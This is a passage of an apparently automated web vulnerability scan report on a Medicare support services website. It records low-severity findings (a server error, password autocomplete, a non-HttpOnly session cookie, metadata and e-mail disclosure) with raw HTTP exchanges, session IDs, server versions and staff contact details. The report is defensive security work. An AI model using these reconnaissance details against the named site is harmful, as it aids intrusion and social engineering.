<td align="left"><a href="reconciliation_services.jsp" class="helppoints">Reconciliation Services</a> </td>
</tr>
</table>
</td>
<td width="297" align="center" valign="top" background="images/bg_homeright.gif" bgcolor="#efefef">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td bgcolor="#0f2c6f"><img src="images/heading_cl.gif" width="297" height="32" /></td>
</tr>
<tr>
<td height="100" align="center" background="images/bg_login.jpg" bgcolor="#003399">
<form name="frmLogin" method="post" action="/servlet/LoginServlet" onsubmit="return doVerify();" />
<table border="0" cellspacing="4" cellpadding="0">
<tr>
<td align="right" class="logintx">USER ID: </td>
<td><input type="text" name="User_id" value="" size="15" maxlength="10" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr>
<td align="right" class="logintx">PASSWORD:</td>
<td><input type="password" name="User_pwd" size="15" maxlength="28" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr>
<td align="center"><font style="cursor:pointer" class="logintx" onclick="showForgetPwd()" color="white">Forgot Your Password ?</font></td>
<td align="center"><input type="submit" value="Log In" name="btnLogin" size="15" style="font-size: 8pt; font-weight:normal" />
</td>
</tr>
</table>
<input type="hidden" name="screen" />
<input type="hidden" name="userAgent" />
</form>
</td>
</tr>
</table>
<img src="images/heading_as.gif" width="297" height="32" /><br />
<br />
<table width="251" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="19" valign="top"><img src="images/news_icon.gif" width="14" height="16" /></td>
<td width="232" align="left"><a href="/mss/pdf/enroll expert.pdf" target="_blank" class="newslink"><b>Member360</b></a><font class="newslinksubtext"><b><sup>oTM</sup>:</b> Easy Transaction Reconciliation With ENROLL-Expert Service</font><br /><br /></td>
</tr>
<tr>
<td width="19" valign="top"><img src="images/news_icon.gif" width="14" height="16" /></td>
<td width="232" align="left"><a href="/mss/pdf/RA expert.pdf" target="_blank" class="newslink"><b>Revenue360</b></a><font class="newslinksubtext"><b><sup>oTM</sup>:</b> Get The Correct Payment From CMS With RA-Expert Service</font><br /><br /></td>
</tr>
<tr>
<td colspan="2" align="center" valign="top"></td>
</tr>
</table></td>
</tr>
</table>
<table width="950" border="0" cellpadding="0" cellspacing="0" class="footer">
<tr>
<td width="315" height="39" align="left">&nbsp;&nbsp;&copy; 2011 Wipro Technologies. All rights reserved.</td>
<td align="center"></td>
</tr>
</table>

</div>
</body>
</html>
Internal Server Error

Internal Server Error
1 TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.

Remedy

Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
- /servlet/DemoLoginServlet

/servlet/DemoLoginServlet CONFIRMED

https://www.medicare-solution.com/servlet/DemoLoginServlet

Request

GET /servlet/DemoLoginServlet HTTP/1.1
Referer: https://www.medicare-solution.com/mss/home/RegisterJsp.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000xusqcwuTDE-bKsJZHzeIn47:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: Keep-Alive
Content-Length: 13
Date: Mon, 02 May 2011 15:22:20 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
$WSEP:
Content-Language: en-US


Error 500:
Auto Complete Enabled

Auto Complete Enabled
1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /mss/home/Index.jsp

/mss/home/Index.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/Index.jsp

Identified Field Name

User_pwd

Request

GET /mss/home/Index.jsp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: 0
Date: Mon, 02 May 2011 15:22:11 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=0000Bv6uc_FwCr9mKiYh15YdzZ7:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Support Services Home Page</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />
<script language="JavaScript">
<!--
if (window != top) top.location.href = "/mss/home/Index.jsp";
// -->
</script>
<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script>
function doVerify()
{
if (isFldEmpty(document.frmLogin.User_id,"User Id"))
return false;
if (isFldEmpty(document.frmLogin.User_pwd,"Password"))
return false;

document.frmLogin.screen.value = screen.width + "x" + screen.height;
document.frmLogin.userAgent.value = navigator.userAgent;

return true;
}
function doOnload()
{
document.frmLogin.User_id.focus();
document.frmLogin.User_id.select();
}

function showForgetPwd() {

document.frmLogin.action = "/mss/home/ForgotPassword.jsp"
document.frmLogin.submit();
}

function doLogin()
{
if (doVerify())
document.frmLogin.submit;
}
</script>
</head>
<body onload="doOnload()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
<tr>
<td width="274" height="406" align="center" background="images/home_demo.jpg">
<table width="227" border="0" cellpadding="0" cellspacing="0">
<tr>
<td height="350">&nbsp;</td>
</tr>
<tr>
<td align="center" valign="top"><a href="OpenDemos.jsp"><img src="images/but_demo.gif" width="227" height="35" border="0" /></a></td>
</tr>
</table>
</td>
<td width="378" align="center" valign="top" bgcolor="#FFFFFF"><img src="images/heading_mss.gif" width="377" height="32" />
<div class="intro">Since 1986, Wipro Healthcare has excelled at providing quick, reliable, and cost-effective Departmental Medicare Support Services to Managed Care organizations throughout the United States. Our Online Eligibility and Enrollment System provide accurate and cost-effective access to Medicare entitlement verification and enrollment. <a href="about_us.jsp">&gt; read more</a> </div>
<img src="images/howhelp.gif" width="378" height="50" vspace="8" /><br />
<table width="275" border="0" cellspacing="2" cellpadding="0">
<tr>
<td width="35"><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="convenience.jsp" class="helppoints">Convenience</a></td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="security.jsp" class="helppoints">Security</a></td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="data_integrity.jsp" class="helppoints">Data Integrity</a> </td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="payments.jsp" class="helppoints">Reliable and Timely Capitation Payments</a> </td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="overhead_reductions.jsp" class="helppoints">Overhead Reductions</a> </td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="staff.jsp" class="helppoints">Knowledgeable Staff</a> </td>
</tr>
<tr>
<td><img src="images/help_icon.gif" width="31" height="18" /></td>
<td align="left"><a href="reconciliation_services.jsp" class="helppoints">Reconciliation Services</a> </td>
</tr>
</table>
</td>
<td width="297" align="center" valign="top" background="images/bg_homeright.gif" bgcolor="#efefef">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td bgcolor="#0f2c6f"><img src="images/heading_cl.gif" width="297" height="32" /></td>
</tr>
<tr>
<td height="100" align="center" background="images/bg_login.jpg" bgcolor="#003399">
<form name="frmLogin" method="post" action="/servlet/LoginServlet" onsubmit="return doVerify();" />
<table border="0" cellspacing="4" cellpadding="0">
<tr>
<td align="right" class="logintx">USER ID: </td>
<td><input type="text" name="User_id" value="" size="15" maxlength="10" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr>
<td align="right" class="logintx">PASSWORD:</td>
<td><input type="password" name="User_pwd" size="15" maxlength="28" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
</tr>
<tr>
<td align="center"><font style="cursor:pointer" class="logintx" onclick="showForgetPwd()" color="white">Forgot Your Password ?</font></td>
<td align="center"><input type="submit" value="Log In" name="btnLogin" size="15" style="font-size: 8pt; font-weight:normal" />
</td>
</tr>
</table>
<input type="hidden" name="screen" />
<input type="hidden" name="userAgent" />
</form>
</td>
</tr>
</table>
<img src="images/heading_as.gif" width="297" height="32" /><br />
<br />
<table width="251" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="19" valign="top"><img src="images/news_icon.gif" width="14" height="16" /></td>
<td width="232" align="left"><a href="/mss/pdf/enroll expert.pdf" target="_blank" class="newslink"><b>Member360</b></a><font class="newslinksubtext"><b><sup>oTM</sup>:</b> Easy Transaction Reconciliation With ENROLL-Expert Service</font><br /><br /></td>
</tr>
<tr>
<td width="19" valign="top"><img src="images/news_icon.gif" width="14" height="16" /></td>
<td width="232" align="left"><a href="/mss/pdf/RA expert.pdf" target="_blank" class="newslink"><b>Revenue360</b></a><font class="newslinksubtext"><b><sup>oTM</sup>:</b> Get The Correct Payment From CMS With RA-Expert Service</font><br /><br /></td>
</tr>
<tr>
<td colspan="2" align="center" valign="top"></td>
</tr>
</table></td>
</tr>
</table>
<table width="950" border="0" cellpadding="0" cellspacing="0" class="footer">
<tr>
<td width="315" height="39" align="left">&nbsp;&nbsp;&copy; 2011 Wipro Technologies. All rights reserved.</td>
<td align="center"></td>
</tr>
</table>

</div>
</body>
</html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly
1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /mss/home/Index.jsp

/mss/home/Index.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/Index.jsp

Identified Cookie

JSESSIONID

Request

GET /mss/home/Index.jsp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Expires: 0
Date: Mon, 02 May 2011 15:22:11 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=0000Bv6uc_FwCr9mKiYh15YdzZ7:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Support Services Home Page</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />
<script language="JavaScript">
<!--
if (window != top) top.location.href = "/mss/home/Index.jsp";
// -->
</script>
<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script>
function doVerify()
{
if (isFldEmpty(document.frmLogin.User_id,"User Id"))
return false;
if (isFldEmpty(document.frmLogin.User_pwd,"Password"))
return false;

document.frmLogin.screen.value = screen.width + "x" + screen.height;
document.frmLogin.userAgent.value = navigator.userAgent;

return true;
}
function doOnload()
{
document.frmLogin.User_id.focus();
document.frmLogin.User_id.select();
}

function showForgetPwd() {

document.frmLogin.action = "/mss/home/ForgotPassword.jsp"
document.frmLogin.submit();
}

function doLogin()
{
if (doVerify())
document.frmLogin.submit;
}
</script>
</head>
<body onload="doOnload()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
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<td><a href="OpenDemos.jsp">Visitors</a></td>
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<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
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<td width="30">&nbsp;</td>
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<td height="350">&nbsp;</td>
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<td width="378" align="center" valign="top" bgcolor="#FFFFFF"><img src="images/heading_mss.gif" width="377" height="32" />
<div class="intro">Since 1986, Wipro Healthcare has excelled at providing quick, reliable, and cost-effective Departmental Medicare Support Services to Managed Care organizations throughout the United States. Our Online Eligibility and Enrollment System provide accurate and cost-effective access to Medicare entitlement verification and enrollment. <a href="about_us.jsp">&gt; read more</a> </div>
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<td width="297" align="center" valign="top" background="images/bg_homeright.gif" bgcolor="#efefef">
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<td bgcolor="#0f2c6f"><img src="images/heading_cl.gif" width="297" height="32" /></td>
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<td align="right" class="logintx">PASSWORD:</td>
<td><input type="password" name="User_pwd" size="15" maxlength="28" style="background-color:#FFFFFF; font-size: 8pt; font-weight:normal" /></td>
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<td align="center"><font style="cursor:pointer" class="logintx" onclick="showForgetPwd()" color="white">Forgot Your Password ?</font></td>
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<td width="232" align="left"><a href="/mss/pdf/enroll expert.pdf" target="_blank" class="newslink"><b>Member360</b></a><font class="newslinksubtext"><b><sup>oTM</sup>:</b> Easy Transaction Reconciliation With ENROLL-Expert Service</font><br /><br /></td>
</tr>
<tr>
<td width="19" valign="top"><img src="images/news_icon.gif" width="14" height="16" /></td>
<td width="232" align="left"><a href="/mss/pdf/RA expert.pdf" target="_blank" class="newslink"><b>Revenue360</b></a><font class="newslinksubtext"><b><sup>oTM</sup>:</b> Get The Correct Payment From CMS With RA-Expert Service</font><br /><br /></td>
</tr>
<tr>
<td colspan="2" align="center" valign="top"></td>
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<td width="315" height="39" align="left">&nbsp;&nbsp;&copy; 2011 Wipro Technologies. All rights reserved.</td>
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MS Office Information Disclosure

MS Office Information Disclosure
1 TOTAL
LOW
Netsparker found HTML files that are produced by MS Office Suite. MS Office has appended user related information to the document.

Impact

This information can be used for social engineering attacks.

Remedy

Remove all sensitive information from your HTML documents.
- /mss/home/FreeTrialAgreement.html

/mss/home/FreeTrialAgreement.html

https://www.medicare-solution.com/mss/home/FreeTrialAgreement.html

Extracted Credential

Thea Janeway

Request

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Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000xusqcwuTDE-bKsJZHzeIn47:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:22:16 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Last-Modified: Sat, 08 Nov 2008 08:50:16 GMT
Content-Language: en-US
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{mso-level-number-format:roman-lower;
mso-level-tab-stop:3.0in;
mso-level-number-position:right;
text-indent:-9.0pt;}
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{mso-level-tab-stop:3.5in;
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{mso-level-number-format:alpha-lower;
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E-mail Address Disclosure

E-mail Address Disclosure
1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /mss/home/contact_us.jsp

/mss/home/contact_us.jsp

https://www.medicare-solution.com/mss/home/contact_us.jsp

Found E-mails

Request

GET /mss/home/contact_us.jsp HTTP/1.1
Referer: https://www.medicare-solution.com/mss/home/Index.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000Bv6uc_FwCr9mKiYh15YdzZ7:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:22:11 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />
</head>

<body>
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top" width="219"><span class="headings"><a name="contact" id="contact"></a>Contact Us</span> <br /></td>
</tr>
<tr>
<td width="219"><img src="images/Contact_Page_Photo.jpg" width="161" height="207" align="right" /></td>
<td>
<table width="100%">
<tr>
<td width="350px" colspan=2>For more information about our services, please contact us.<br /><br /></td>
</tr>
<tr>
<td width="150px"><b>Sales</b></td>
<td><b>Jeff Mancini</b> </td>
</tr>
<tr>
<td>&nbsp;</td>
<td><a href="mailto:Jeff.Mancini@infocrossing.com">Jeff.Mancini@infocrossing.com</a></td>
</tr>
<tr>
<td>&nbsp;</td>
<td> (818) 312-3720<br /><br /></td>
</tr>
<tr>
<td><b>Customer Service</b></td>
<td ><b>Help Desk</b></td>
</tr>
<tr>
<td>&nbsp;</td>
<td ><a href="mailto:MCareSupport@infocrossing.com">MCareSupport@infocrossing.com</a></td>
</tr>
<tr>
<td>&nbsp;</td>
<td >(877) 833-3499<br /><br />
</tr>
<tr>
<td valign="top"><b>Mailing Address</b></td>
<td>6320 Canoga Ave<br />Suite 600<br />Woodland Hills, CA 91367</td>
</tr>
</table>
</td>
</tr>
</table>
<table width="950" border="0" cellpadding="0" cellspacing="0" class="footer">
<tr>
<td width="315" height="39" align="left">&nbsp;&nbsp;&copy; 2011 Wipro Technologies. All rights reserved.</td>
<td align="center"></td>
</tr>
</table>

</div>
</body>
</html>